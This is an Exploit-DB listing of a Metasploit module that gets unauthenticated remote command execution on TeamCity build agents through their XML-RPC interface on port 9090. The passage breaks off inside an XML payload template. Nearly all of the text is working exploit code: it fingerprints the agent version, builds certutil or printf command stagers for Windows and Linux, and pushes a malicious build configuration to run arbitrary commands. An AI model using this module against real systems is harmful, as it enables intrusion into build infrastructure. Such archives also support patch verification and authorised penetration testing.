Exploit-DB #45917
Description: TeamCity Agent - XML-RPC Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2018-11-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TeamCity Agent XML-RPC Command Execution',
      'Description'    => %q(
        This module allows remote code execution on TeamCity Agents configured
        to use bidirectional communication via xml-rpc. In bidirectional mode
        the TeamCity server pushes build commands to the Build Agents over port
        TCP/9090 without requiring authentication. Up until version 10 this was
        the default configuration. This module supports TeamCity agents from
        version 6.0 onwards.
      ),
      'Author'         => ['Dylan Pindur <dylanpindur@gmail.com>'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://www.tenable.com/plugins/nessus/94675']
        ],
      'Platform'       => %w[linux win],
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => 'linux' }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 14 2015'))

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
    register_options(
      [
        Opt::RPORT(9090),
        OptString.new(
          'CMD',
          [false, 'Execute this command instead of using command stager', '']
        )
      ]
    )
  end

  def check
    version = determine_version
    if !version.nil? && version >= 15772
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    version = determine_version
    if version.nil?
      fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
    else
      print_status("Found TeamCity Agent running build version #{version}")
    end

    unless datastore['CMD'].blank?
      print_status('Executing user supplied command')
      execute_command(datastore['CMD'], version)
      return
    end

    case target['Platform']
    when 'linux'
      linux_stager(version)
    when 'win'
      windows_stager(version)
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
  end

  def windows_stager(version)
    print_status('Constructing Windows payload')

    stager = generate_cmdstager(
      flavor: :certutil,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def linux_stager(version)
    print_status('Constructing Linux payload')

    stager = generate_cmdstager(
      flavor: :printf,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager << ' &'

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def execute_command(cmd, version)
    xml_payload = build_request(cmd, version)

    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def determine_version
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.getVersion</methodName>
  <params></params>
</methodCall>
    )
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload.strip!
      },
      10
    )

    if !res.nil? && res.code == 200
      xml_doc = res.get_xml_document
      if xml_doc.errors.empty?
        val = xml_doc.xpath('/methodResponse/params/param/value')
        if val.length == 1
          return val.text.to_i
        end
      end
    end
    return nil
  end

  def send_request(xml_payload)
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload
      },
      10
    )

    if !res.nil? && res.code == 200
      print_status("Successfully sent build configuration")
    else
      print_status("Failed to send build configuration")
    end
  end

  def build_request(script_content, version)
    case version
    when 0..15771
      return nil
    when 15772..17794
      return req_teamcity_6(script_content)
    when 17795..21240
      return req_teamcity_6_5(script_content)
    when 21241..27401
      return req_teamcity_7(script_content)
    when 27402..32059
      return req_teamcity_8(script_content)
    when 32060..42001
      return req_teamcity_9(script_content)
    when 42002..46532
      return req_teamcity_10(script_content)
    else
      return req_teamcity_2017(script_content)
    end
  end

  def req_teamcity_2017(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>